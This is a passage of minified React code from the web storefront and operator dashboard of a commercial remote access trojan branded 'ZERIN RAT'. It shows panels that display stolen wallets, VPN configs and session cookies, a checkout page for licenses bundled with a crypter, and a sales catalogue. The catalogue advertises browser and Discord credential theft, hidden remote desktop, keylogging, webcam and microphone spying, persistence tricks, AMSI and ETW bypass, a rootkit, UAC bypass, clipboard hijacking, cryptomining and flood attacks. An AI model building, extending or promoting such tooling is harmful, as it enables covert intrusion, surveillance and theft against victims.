RobloxCookies.dat"]}):null]}),!((J=c.steam)!=null&&J.found)&&!((xe=c.epic)!=null&&xe.found)&&!((ke=c.minecraft)!=null&&ke.length)&&!((ze=c.roblox)!=null&&ze.found)&&a.jsx("p",{className:"text-zerin-text-muted text-xs",children:"No gaming sessions found"})]})}),a.jsx($n,{title:"Crypto Wallets",count:((X=c.wallets)==null?void 0:X.length)??0,expanded:d.has("wallets"),onToggle:()=>z("wallets"),children:(re=c.wallets)!=null&&re.length?a.jsx("div",{className:"space-y-3 p-4",children:c.wallets.map((T,ie)=>a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:[a.jsx("span",{className:"text-amber-400",children:T.name}),a.jsxs("span",{className:"text-zerin-text-muted ml-1.5 font-normal",children:["(",T.files.length," file",T.files.length!==1?"s":"",")"]})]}),a.jsx("div",{className:"flex flex-wrap gap-1.5",children:T.files.map((ue,lt)=>a.jsxs("button",{onClick:()=>yr(ue.data,ue.name),className:"inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer",children:[a.jsx(br,{})," ",ue.name]},lt))})]},ie))}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No wallets found"})}),a.jsx($n,{title:"VPN Configs",count:((se=c.vpn)==null?void 0:se.length)??0,expanded:d.has("vpn"),onToggle:()=>z("vpn"),children:(Oe=c.vpn)!=null&&Oe.length?a.jsx("div",{className:"space-y-3 p-4",children:c.vpn.map((T,ie)=>a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:[a.jsx("span",{className:"text-emerald-400",children:T.name}),a.jsxs("span",{className:"text-zerin-text-muted ml-1.5 font-normal",children:["(",T.files.length," file",T.files.length!==1?"s":"",")"]})]}),a.jsx("div",{className:"flex flex-wrap gap-1.5",children:T.files.map((ue,lt)=>a.jsxs("button",{onClick:()=>yr(ue.data,ue.name),className:"inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer",children:[a.jsx(br,{})," ",ue.name]},lt))})]},ie))}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No VPN configs found"})}),(((et=c.errors)==null?void 0:et.length)??0)>0&&a.jsx($n,{title:"Errors",count:c.errors.length,expanded:d.has("errors"),onToggle:()=>z("errors"),children:a.jsx("div",{className:"p-4 space-y-1",children:c.errors.map((T,ie)=>a.jsxs("div",{className:"text-xs",children:[a.jsxs("span",{className:"text-zerin-text-dim font-medium",children:[T.source,":"]})," ",a.jsx("span",{className:"text-zerin-danger",children:T.error})]},ie))})})]})]})}),p&&a.jsx("div",{className:"fixed z-50 px-2.5 py-1 text-xs font-medium text-white bg-zerin-accent pointer-events-none animate-fade-in",style:{left:p.x,top:p.y,transform:"translate(-50%, -100%)"},children:p.text})]})}function $n({title:e,count:t,expanded:n,onToggle:r,children:i}){return a.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[a.jsxs("button",{onClick:r,className:"w-full flex items-center gap-2 px-4 py-2.5 text-left hover:bg-zerin-panel-hover transition-colors",children:[a.jsx("svg",{className:`w-3.5 h-3.5 text-zerin-text-dim transition-transform ${n?"rotate-90":""}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 5l7 7-7 7"})}),a.jsx("span",{className:"text-sm font-semibold text-zerin-text",children:e}),a.jsx("span",{className:"text-xs font-mono text-zerin-text-muted bg-zerin-panel-hover px-1.5 py-0.5",children:t})]}),n&&a.jsx("div",{className:"border-t border-zerin-panel-border",children:i})]})}async function IV(e){const t=await fetch(`/api/payments/${e}/status`);if(!t.ok)throw new Error("Payment not found");return t.json()}const DV={pending:{label:"Awaiting Payment",color:"text-amber-400"},waiting:{label:"Waiting for Confirmation",color:"text-amber-400"},confirming:{label:"Confirming...",color:"text-blue-400"},sending:{label:"Processing...",color:"text-blue-400"},partially_paid:{label:"Partially Paid",color:"text-amber-400"},confirmed:{label:"Confirmed",color:"text-emerald-400"},finished:{label:"Complete",color:"text-emerald-400"},failed:{label:"Failed",color:"text-red-400"},expired:{label:"Expired",color:"text-zinc-400"},refunded:{label:"Refunded",color:"text-zinc-400"}};function RV(){const{id:e}=rl(),[t,n]=m.useState(null),[r,i]=m.useState(""),[s,o]=m.useState(!1),l=m.useCallback(async()=>{if(e)try{const f=await IV(e);n(f)}catch{i("Payment not found")}},[e]);m.useEffect(()=>{l();const f=setInterval(l,5e3);return()=>clearInterval(f)},[l]);const c=(t==null?void 0:t.status)==="finished"||(t==null?void 0:t.status)==="confirmed"||(t==null?void 0:t.status)==="failed"||(t==null?void 0:t.status)==="expired"||(t==null?void 0:t.status)==="refunded";m.useEffect(()=>{},[c]);const u=()=>{t!=null&&t.license_key&&(navigator.clipboard.writeText(t.license_key),o(!0),setTimeout(()=>o(!1),2e3))},d=t?DV[t.status]||{label:t.status,color:"text-zinc-400"}:null;return a.jsxs("div",{className:"relative min-h-screen bg-[#04040a] text-zerin-text overflow-x-hidden",children:[a.jsx("div",{className:"fixed top-0 left-1/2 -translate-x-1/2 w-[800px] h-[500px] pointer-events-none",style:{background:"radial-gradient(ellipse at center, rgba(6,182,212,0.03) 0%, transparent 70%)"}}),a.jsx("nav",{className:"relative z-10 border-b border-[#1a1a22] bg-[#04040a]/80 backdrop-blur-xl",children:a.jsxs("div",{className:"max-w-6xl mx-auto px-6 h-16 flex items-center justify-between",children:[a.jsxs(xt,{to:"/",className:"flex items-center gap-3",children:[a.jsx("span",{className:"font-display font-bold text-lg tracking-tight text-zerin-text",children:"ZERIN"}),a.jsx("span",{className:"text-[9px] font-mono tracking-[0.15em] border border-zerin-accent/25 text-zerin-accent/70 px-1.5 py-0.5 leading-none",children:"RAT"})]}),a.jsx(xt,{to:"/",className:"text-zerin-text-dim hover:text-zerin-text text-sm font-mono transition-colors px-3 py-1.5",children:"Back"})]})}),a.jsx("div",{className:"relative z-10 flex items-center justify-center min-h-[calc(100vh-64px)] px-6 py-12",children:a.jsx("div",{className:"w-full max-w-lg",children:r?a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"font-mono text-[11px] tracking-[0.2em] text-red-400/60 uppercase mb-3",children:"Error"}),a.jsx("p",{className:"text-zerin-text-muted mb-8",children:r}),a.jsx(xt,{to:"/",className:"border border-[#1a1a22] hover:border-zerin-accent/30 text-zerin-text-dim hover:text-zerin-text font-mono text-sm px-6 py-2.5 transition-all duration-300 inline-block",children:"Go Home"})]}):t?a.jsxs("div",{className:"relative bg-[#08080c] border border-[#1a1a22] overflow-hidden",children:[a.jsx("div",{className:"auth-corner auth-corner-tl"}),a.jsx("div",{className:"auth-corner auth-corner-tr"}),a.jsx("div",{className:"auth-corner auth-corner-bl"}),a.jsx("div",{className:"auth-corner auth-corner-br"}),a.jsx("div",{className:"border-b border-[#1a1a22] px-6 py-4",children:a.jsxs("div",{className:"flex items-center justify-between",children:[a.jsx("div",{className:"font-mono text-[11px] tracking-[0.2em] text-zerin-text-muted/60 uppercase",children:"Payment Status"}),a.jsxs("div",{className:"flex items-center gap-2",children:[!c&&a.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-zerin-accent animate-pulse-dot"}),a.jsx("span",{className:`font-mono text-[12px] font-semibold ${d==null?void 0:d.color}`,children:d==null?void 0:d.label})]})]})}),a.jsxs("div",{className:"px-6 py-6 space-y-6",children:[a.jsxs("div",{className:"space-y-3",children:[a.jsxs("div",{className:"flex justify-between items-center",children:[a.jsx("span",{className:"text-[13px] text-zerin-text-muted",children:"Order"}),a.jsxs("span",{className:"font-mono text-[12px] text-zerin-text-dim",children:[t.payment_id.substring(0,8),"..."]})]}),a.jsxs("div",{className:"flex justify-between items-center",children:[a.jsx("span",{className:"text-[13px] text-zerin-text-muted",children:"Amount"}),a.jsxs("span",{className:"font-mono text-[14px] text-zerin-text font-semibold",children:["$",t.amount," ",t.currency.toUpperCase()]})]}),a.jsxs("div",{className:"flex justify-between items-center",children:[a.jsx("span",{className:"text-[13px] text-zerin-text-muted",children:"Product"}),a.jsx("span",{className:"text-[13px] text-zerin-text-dim",children:t.tier==="rat_crypter"?"Lifetime License + Crypter":"Lifetime License"})]})]}),!c&&a.jsxs("div",{children:[a.jsx("div",{className:"h-[2px] bg-[#1a1a22] overflow-hidden",children:a.jsx("div",{className:"h-full bg-zerin-accent transition-all duration-1000",style:{width:t.status==="waiting"?"25%":t.status==="confirming"?"50%":t.status==="sending"?"75%":t.status==="partially_paid"?"40%":"10%",animation:"pulse 2s ease-in-out infinite"}})}),a.jsx("p",{className:"text-[11px] font-mono text-zerin-text-muted/40 mt-2 text-center",children:"This page auto-refreshes every 5 seconds"})]}),t.license_key&&a.jsxs("div",{className:"space-y-3",children:[a.jsx("div",{className:"h-[1px] bg-gradient-to-r from-transparent via-emerald-500/30 to-transparent"}),a.jsx("div",{className:"font-mono text-[10px] tracking-[0.2em] text-emerald-400/60 uppercase text-center",children:"Your License Key"}),a.jsx("div",{className:"flex items-center gap-2",children:a.jsx("code",{className:"flex-1 block p-3 text-[11px] font-mono bg-[#04040a] border border-emerald-500/20 text-emerald-400 break-all select-all text-center leading-relaxed",children:t.license_key})}),a.jsx("button",{onClick:u,className:"w-full py-2 text-xs font-mono border border-[#1a1a22] text-zerin-text-dim hover:border-zerin-accent/30 hover:text-zerin-text transition-all duration-300",children:s?"Copied!":"Copy Key"}),a.jsxs("p",{className:"text-[10px] text-amber-400/60 text-center font-mono",children:["Save this key — use it to register at"," ",a.jsx(xt,{to:"/register",className:"underline hover:text-amber-400",children:"/register"})]})]}),(t.status==="failed"||t.status==="expired")&&a.jsxs("div",{className:"text-center space-y-3",children:[a.jsx("div",{className:"h-[1px] bg-gradient-to-r from-transparent via-red-500/20 to-transparent"}),a.jsx("p",{className:"text-[13px] text-red-400/70",children:t.status==="expired"?"This payment has expired. Please create a new one.":"Payment failed. Please try again."}),a.jsx(xt,{to:"/#pricing",className:"inline-block border border-[#1a1a22] hover:border-zerin-accent/30 text-zerin-text-dim hover:text-zerin-text font-mono text-sm px-6 py-2 transition-all duration-300",children:"Try Again"})]})]})]}):a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-5 h-5 border-2 border-zerin-accent/30 border-t-zerin-accent rounded-full animate-spin mx-auto mb-4"}),a.jsx("p",{className:"text-zerin-text-muted text-sm font-mono",children:"Loading payment..."})]})})})]})}const Vi=[{id:"remote",label:"Remote Operations",tag:"RMT",accent:"#06B6D4",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"m6.75 7.5 3 2.25-3 2.25m4.5 0h3m-9 8.25h13.5A2.25 2.25 0 0 0 21 18V6a2.25 2.25 0 0 0-2.25-2.25H5.25A2.25 2.25 0 0 0 3 6v12a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Full interactive control over target systems with multiple access channels.",features:[{name:"Interactive Shell",desc:"CMD and PowerShell execution with full stdout/stderr capture",detail:"Hidden process, configurable timeout, pipe-based I/O"},{name:"PowerShell Engine",desc:"Base64-encoded command execution bypassing argument restrictions",detail:"UTF-16LE encoded commands via -EncodedCommand"},{name:"VNC Remote Desktop",desc:"Real-time interactive desktop session over WebSocket",detail:"Low-latency streaming, keyboard + mouse control"},{name:"Hidden VNC (hVNC)",desc:"Invisible desktop session on a separate virtual desktop",detail:"User sees nothing — operator has full GUI access"},{name:"File Operations",desc:"Upload, download, delete, encrypt, and browse the target filesystem",detail:"Directory listing, file transfer, in-place encryption"},{name:"Process Management",desc:"List running processes, terminate by PID, spawn new processes",detail:"Full process enumeration with details"}],terminal:{title:"zerin :: remote-ops",lines:["$ session --connect agent-7f3a","[*] Session established — latency 42ms","$ shell whoami"," DESKTOP-PC\\Administrator","$ hvnc --start --desktop zerin_hidden"," [+] Hidden desktop created"," [+] Explorer.exe spawned on hidden desktop",' [+] VNC streaming — active']}},{id:"surveillance",label:"Surveillance",tag:"SRV",accent:"#06B6D4",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"m15.75 10.5 4.72-4.72a.75.75 0 0 1 1.28.53v11.38a.75.75 0 0 1-1.28.53l-4.72-4.72M4.5 18.75h9a2.25 2.25 0 0 0 2.25-2.25v-9a2.25 2.25 0 0 0-2.25-2.25h-9A2.25 2.25 0 0 0 2.25 7.5v9a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Real-time visual and audio monitoring of target environments.",features:[{name:"GDI Screen Capture",desc:"Standard BitBlt-based screenshot capture returning raw BMP",detail:"Lightweight, compatible with all Windows versions"},{name:"DXGI Desktop Duplication",desc:"GPU-accelerated capture using DirectX for high-fidelity screenshots",detail:"Dirty-rect tiling, works even when GDI is blocked by EDR"},{name:"Webcam Access",desc:"Enumerate and stream from capture devices in real-time",detail:"Device selection, live feed to dashboard"},{name:"Microphone Recording",desc:"Capture live audio from the target microphone",detail:"Streaming audio to operator dashboard"},{name:"Input Monitoring",desc:"Keystroke capture with application context per window",detail:"Logs organized by active window title"}]},{id:"credentials",label:"Credential Auditing",tag:"CRD",accent:"#06B6D4",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M15.75 5.25a3 3 0 0 1 3 3m3 0a6 6 0 0 1-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1 1 21.75 8.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Extract and validate stored credentials across browsers and applications.",features:[{name:"Chromium Browsers",desc:"Chrome, Edge, Brave, Opera, Vivaldi — passwords, cookies, tokens",detail:"DPAPI master key decryption, AES-256-GCM v80+ support"},{name:"Firefox",desc:"Decrypt saved logins from logins.json and key4.db",detail:"NSS credential store decryption"},{name:"Wi-Fi Profiles",desc:"Extract saved wireless network passwords",detail:"All stored PSK passphrases via profile export"},{name:"Windows Credential Manager",desc:"DPAPI-protected vault entries and stored credentials",detail:"Full credential enumeration"},{name:"Discord Tokens",desc:"Scan LevelDB stores for Discord stable, Canary, and PTB",detail:"Token extraction from .ldb and .log files"},{name:"Application Credentials",desc:"Telegram, FileZilla, WinSCP, PuTTY, Outlook sessions",detail:"Session data, saved passwords, stored configs"}],terminal:{title:"zerin :: cred-audit",lines:["$ creds --all --format json"," [*] Scanning credential stores..."," [+] Chrome: 47 saved passwords"," [+] Edge: 12 saved passwords"," [+] Firefox: 8 saved logins"," [+] WiFi: 5 stored profiles"," [+] Discord: 2 tokens found"," [+] WinSCP: 3 saved sessions",' [] Export complete — 77 credentials']}},{id:"persistence",label:"Persistence Engine",tag:"PST",accent:"#06B6D4",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M19.5 12c0-1.232-.046-2.453-.138-3.662a4.006 4.006 0 0 0-3.7-3.7 48.678 48.678 0 0 0-7.324 0 4.006 4.006 0 0 0-3.7 3.7c-.017.22-.032.441-.046.662M19.5 12l3-3m-3 3-3-3m-12 3c0 1.232.046 2.453.138 3.662a4.006 4.006 0 0 0 3.7 3.7 48.656 48.656 0 0 0 7.324 0 4.006 4.006 0 0 0 3.7-3.7c.017-.22.032-.441.046-.662M4.5 12l3 3m-3-3-3 3",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"13 persistence mechanisms covering user-level and elevated techniques.",features:[{name:"Registry Run Key",desc:"HKCU\\...\\Run — survives reboot, no elevation required"},{name:"Scheduled Task",desc:"Recurring schtask with configurable interval and name"},{name:"Windows Service",desc:"AUTO_START service via Service Control Manager (requires elevation)"},{name:"Startup Folder",desc:"Drop to current-user Startup directory — simple, reliable"},{name:"Logon Script",desc:"UserInitMprLogonScript environment variable hijack"},{name:"Screensaver Hijack",desc:"SCRNSAVE.EXE registry replacement — triggers on idle"},{name:"IFEO Debugger",desc:"Image File Execution Options debugger redirect (requires elevation)"},{name:"BITS Job",desc:"Background Intelligent Transfer Service notification command"},{name:"COM Object Hijack",desc:"CLSID InProcServer32 hijack — loaded by Explorer on login"},{name:"DLL Search Order",desc:"Plant DLL in application directory for search order hijack"},{name:"WMI Subscription",desc:"FilterToConsumerBinding with CommandLineEventConsumer"},{name:"Port Monitor",desc:"Print spooler monitor DLL — loaded by spoolsv.exe (requires elevation)"},{name:"Security Support Provider",desc:"LSA Security Packages registry — loaded by LSASS on boot"}]},{id:"evasion",label:"Evasion Engine",tag:"EVA",accent:"#06B6D4",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M3.98 8.223A10.477 10.477 0 0 0 1.934 12c1.292 4.338 5.31 7.5 10.066 7.5.993 0 1.953-.138 2.863-.395M6.228 6.228A10.45 10.45 0 0 1 12 4.5c4.756 0 8.773 3.162 10.065 7.498a10.523 10.523 0 0 1-4.293 5.774M6.228 6.228 3 3m3.228 3.228 3.65 3.65m7.894 7.894L21 21m-3.228-3.228-3.65-3.65m0 0a3 3 0 1 0-4.243-4.243m4.242 4.242L9.88 9.88",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Multi-layered defense evasion — static, runtime, and in-memory techniques.",features:[{name:"Rootkit (11 Hooks)",desc:"Reflective DLL with inline hooks for process, file, registry, network, and service concealment",detail:"MinHook-based: NtQuerySystemInformation, NtQueryDirectoryFile, NtEnumerateKey, NtDeviceIoControlFile, and more"},{name:"AMSI Bypass",desc:"Patches AmsiOpenSession at runtime — all AMSI scans silently fail",detail:"XOR-constructed patch bytes avoid static signatures"},{name:"ETW Patching",desc:"Patches EtwEventWrite with xor eax,eax; ret — blinds EDR telemetry",detail:"Applied in own process + all injected processes"},{name:"Sleep Obfuscation",desc:"Ekko-style: XOR-encrypts .text section during beacon sleep intervals",detail:"Timer-queue based encryption/decryption cycle"},{name:"Indirect Syscalls",desc:"Extracts SSNs from ntdll, uses syscall;ret gadgets — bypasses userland hooks",detail:"NtAllocateVirtualMemory, NtWriteVirtualMemory, NtProtectVirtualMemory, NtCreateThreadEx, and more"},{name:"ntdll Unhooking",desc:"Restores ntdll .text from clean KnownDlls mapping — removes EDR hooks",detail:"NtOpenSection/NtMapViewOfSection — no file I/O"},{name:"Polymorphic Engine",desc:"Every build produces unique machine code — no two agents share the same hash",detail:"Junk code generation, function randomization, unique keys per build"},{name:"Encrypted Strings",desc:"All strings ChaCha20-encrypted per-build, decrypted on stack at runtime",detail:"Wiped after use — zero plaintext in memory at rest"},{name:"IAT Dilution",desc:"Benign Windows APIs forced into import table to mimic legitimate software",detail:"Clean import profile — no suspicious API imports visible"},{name:"Dynamic API Resolution",desc:"PEB walk + FNV1a hash lookup — sensitive APIs never appear in IAT",detail:"RESOLVE_API macro for all Nt* and injection APIs"},{name:"Kill Protection",desc:"Strips terminate/suspend rights from OpenProcess calls targeting agent PID",detail:"Blocks Task Manager, taskkill, Process Explorer"},{name:"Child Process Injection",desc:"NtResumeThread hook auto-injects rootkit into every new child process",detail:"Shared memory ring buffer IPC for near-instant propagation"}],terminal:{title:"zerin :: evasion-status",lines:["$ evasion --status",' AMSI Bypass ........... active',' ETW Patching .......... active',' Sleep Obfuscation ..... active',' Indirect Syscalls ..... active',' ntdll Unhooked ........ clean',' Rootkit Hooks ......... 11/11',' Kill Protection ....... active',' Injected Processes .... 34']}},{id:"network",label:"Network Operations",tag:"NET",accent:"#06B6D4",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M7.5 21 3 16.5m0 0L7.5 12M3 16.5h13.5m0-13.5L21 7.5m0 0L16.5 12M21 7.5H7.5",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Pivot into internal networks and route traffic through compromised hosts.",features:[{name:"SOCKS5 Reverse Proxy",desc:"Full SOCKS5 proxy tunneled through the agent over WebSocket",detail:"256 concurrent channels, binary framing, auto-reconnect"},{name:"Internal Pivoting",desc:"Route operator tools through the agent to reach internal hosts",detail:"Access segmented networks, internal services, lateral movement"},{name:"Port Hiding",desc:"Rootkit filters agent connections from netstat and TCPView",detail:"NtDeviceIoControlFile hook on NSI device — IPv4 and IPv6"}]},{id:"recon",label:"Reconnaissance",tag:"RCN",accent:"#06B6D4",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"m21 21-5.197-5.197m0 0A7.5 7.5 0 1 0 5.196 5.196a7.5 7.5 0 0 0 10.607 10.607Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Comprehensive target profiling and environment enumeration.",features:[{name:"System Info",desc:"OS version, build, architecture, hostname, domain, uptime"},{name:"Hardware Specs",desc:"CPU model, RAM capacity, GPU, disk information"},{name:"Network Interfaces",desc:"Adapters, IP addresses, MAC addresses, gateway info"},{name:"Active Connections",desc:"TCP/UDP connections, listening ports — like netstat"},{name:"Environment Variables",desc:"Full environment variable enumeration"},{name:"Registry Access",desc:"Read and write arbitrary registry keys and values"},{name:"Installed Applications",desc:"Software list from Add/Remove Programs"},{name:"Window Enumeration",desc:"Visible top-level windows with titles and owning PIDs"}]},{id:"privesc",label:"Privilege Escalation",tag:"ESC",accent:"#06B6D4",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M4.5 10.5 12 3m0 0 7.5 7.5M12 3v18",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Silent UAC bypass techniques for automatic privilege elevation.",features:[{name:"Fodhelper UAC Bypass",desc:"Registry hijack via ms-settings shell command — auto-elevates without prompt",detail:"Works on Windows 10/11, cleans up registry keys after execution"},{name:"CMSTPLUA COM Elevation",desc:"CoGetObject elevation moniker to obtain ICMLuaUtil interface",detail:"ShellExec via COM — works Windows 7 through 11"},{name:"Forced UAC Fallback",desc:"ShellExecuteEx with runas verb if silent methods fail",detail:"Automatic fallback chain — tries silent first, prompts only as last resort"},{name:"Auto-Elevation on Launch",desc:"Automatic silent UAC bypass attempt on agent startup",detail:"Seamless — agent elevates itself without operator interaction"}],terminal:{title:"zerin :: priv-esc",lines:["$ elevate --auto"," [*] Current: Medium Integrity"," [*] Trying Fodhelper bypass..."," [+] Registry hijack set"," [+] fodhelper.exe launched"," [+] Elevated session spawned"," [*] Registry cleaned up",' [] Now running as High Integrity']}},{id:"c2",label:"C2 Infrastructure",tag:"C2I",accent:"#06B6D4",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M16.5 10.5V6.75a4.5 4.5 0 1 0-9 0v3.75m-.75 11.25h10.5a2.25 2.25 0 0 0 2.25-2.25v-6.75a2.25 2.25 0 0 0-2.25-2.25H6.75a2.25 2.25 0 0 0-2.25 2.25v6.75a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Military-grade encrypted communications and payload delivery.",features:[{name:"ChaCha20-Poly1305",desc:"AEAD encryption for all C2 traffic — zero plaintext on the wire",detail:"Per-session keys, authenticated encryption"},{name:"X25519 Key Exchange",desc:"Elliptic curve Diffie-Hellman for forward-secret key negotiation",detail:"Ephemeral keys — compromise of one session doesn't affect others"},{name:"TLS 1.3 Transport",desc:"Industry-standard transport security wrapping the encrypted C2 channel",detail:"Double encryption — TLS outer layer + ChaCha20 inner layer"},{name:"Payload Builder",desc:"On-demand payload generation with configurable parameters",detail:"Callback URL, sleep interval, jitter, user-agent, output format (EXE/DLL)"},{name:"Stager / Stage 0",desc:"Lightweight loader — downloads, decrypts, and reflectively loads the full agent",detail:"XOR-encrypted payload, no disk artifacts, in-memory PE loading"},{name:"Crypter",desc:"Server-side runtime packing engine for additional evasion",detail:"Polymorphic + metamorphic generation, unique structure per build"}]},{id:"extras",label:"Extended Modules",tag:"EXT",accent:"#06B6D4",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M3.75 6A2.25 2.25 0 0 1 6 3.75h2.25A2.25 2.25 0 0 1 10.5 6v2.25a2.25 2.25 0 0 1-2.25 2.25H6a2.25 2.25 0 0 1-2.25-2.25V6ZM3.75 15.75A2.25 2.25 0 0 1 6 13.5h2.25a2.25 2.25 0 0 1 2.25 2.25V18a2.25 2.25 0 0 1-2.25 2.25H6A2.25 2.25 0 0 1 3.75 18v-2.25ZM13.5 6a2.25 2.25 0 0 1 2.25-2.25H18A2.25 2.25 0 0 1 20.25 6v2.25A2.25 2.25 0 0 1 18 10.5h-2.25a2.25 2.25 0 0 1-2.25-2.25V6ZM13.5 15.75a2.25 2.25 0 0 1 2.25-2.25H18a2.25 2.25 0 0 1 2.25 2.25V18A2.25 2.25 0 0 1 18 20.25h-2.25a2.25 2.25 0 0 1-2.25-2.25v-2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Additional operator modules for disruption, crypto operations, and stress testing.",features:[{name:"Troll Module",desc:"MessageBox, text-to-speech, wallpaper change, taskbar hide, CD eject, mouse/keyboard lock, black screen, DNS reroute",detail:"12 disruption commands for operator interaction"},{name:"Crypto Clipper",desc:"Clipboard monitoring for 9 cryptocurrencies — BTC, ETH, LTC, XMR, DOGE, SOL, XRP, TRX, BNB",detail:"Format-aware pattern matching (Base58, Bech32, hex), operator wallet replacement"},{name:"Miner Management",desc:"XMRig lifecycle control — deploy, configure pool/wallet, start/stop, monitor hashrate",detail:"IDLE priority, configurable CPU throttle, HTTP API stats"},{name:"HTTP Flood",desc:"Layer 7 stress testing — up to 64 threads with randomized User-Agent rotation",detail:"Configurable duration, method (GET/POST/HEAD), auto-stop watchdog"},{name:"Power Control",desc:"Restart or shutdown the target system remotely"},{name:"Agent Uninstall",desc:"Clean removal — strips persistence entries and self-deletes"}]}];function lS(e=.15){const t=m.useRef(null),[n,r]=m.useState(!1);return m.useEffect(()=>{const i=t.current;if(!i)return;const s=new IntersectionObserver(([o])=>{o.isIntersecting&&(r(!0),s.disconnect())},{threshold:e});return s.observe(i),()=>s.disconnect()},[e]),{ref:t,visible:n}}const $V=m.memo(function(){const t=m.useRef(null);return m.useEffect(()=>{const n=t.current;if(!n)return;const r=n.getContext("2d",{alpha:!0});let i,s=0,o=0;const l=1e3/30,c=256,u=new Array(c);for(let b=0;b{cancelAnimationFrame(i),window.removeEventListener("resize",y)}},[]),a.jsx("canvas",{ref:t,className:"fixed inset-0 pointer-events-none",style:{zIndex:0}})});function X2({text:e,base:t}){const n=[];let r=0;const i=/([^<]*)<\/span>/g;let s=0,o;for(;(o=i.exec(e))!==null;)o.index>s&&n.push(a.jsx("span",{className:t,children:e.slice(s,o.index)},r++)),n.push(a.jsx("span",{className:o[1],children:o[2]},r++)),s=i.lastIndex;return sa.jsx("div",{className:`transition-all duration-500 ${r?"opacity-100":"opacity-0"}`,style:{transitionDelay:r?`${s*80}ms`:"0ms"},children:i.startsWith("$")?a.jsxs(a.Fragment,{children:[a.jsx("span",{className:"text-zerin-accent",children:"$"}),a.jsx("span",{className:"ml-2",children:a.jsx(X2,{text:i.slice(1),base:"text-zerin-text-dim"})})]}):a.jsx("span",{className:"pl-4",children:a.jsx(X2,{text:i,base:"text-zerin-text-muted/60"})})},s))})]})}const FV=m.memo(function({feat:t,delay:n,visible:r}){const[i,s]=m.useState(!1);return a.jsx("div",{className:`group border border-[#1a1a22] bg-[#08080c]/60 hover:border-zerin-accent/20 transition-all duration-500 ${r?"opacity-100 translate-y-0":"opacity-0 translate-y-3"}`,style:{transitionDelay:r?`${n}ms`:"0ms"},children:a.jsxs("button",{onClick:()=>t.detail&&s(!i),className:"w-full text-left px-5 py-4 flex items-start gap-4",children:[a.jsx("div",{className:"flex-shrink-0 mt-0.5 w-1.5 h-1.5 rounded-full bg-zerin-accent/50 group-hover:bg-zerin-accent transition-colors"}),a.jsxs("div",{className:"flex-1 min-w-0",children:[a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("h4",{className:"font-display text-[14px] font-semibold text-zerin-text group-hover:text-zerin-accent transition-colors duration-300",children:t.name}),t.detail&&a.jsx("svg",{className:`w-3 h-3 text-zerin-text-muted/40 transition-transform duration-200 ${i?"rotate-180":""}`,viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"m19.5 8.25-7.5 7.5-7.5-7.5"})})]}),a.jsx("p",{className:"font-mono text-[12px] text-zerin-text-muted leading-relaxed mt-0.5",children:t.desc}),t.detail&&i&&a.jsx("p",{className:"font-mono text-[11px] text-zerin-accent/60 leading-relaxed mt-2 pl-0 border-l-2 border-zerin-accent/20 ml-0 pl-3",children:t.detail})]})]})})});function WV({cat:e,index:t}){const{ref:n,visible:r}=lS(.1);return 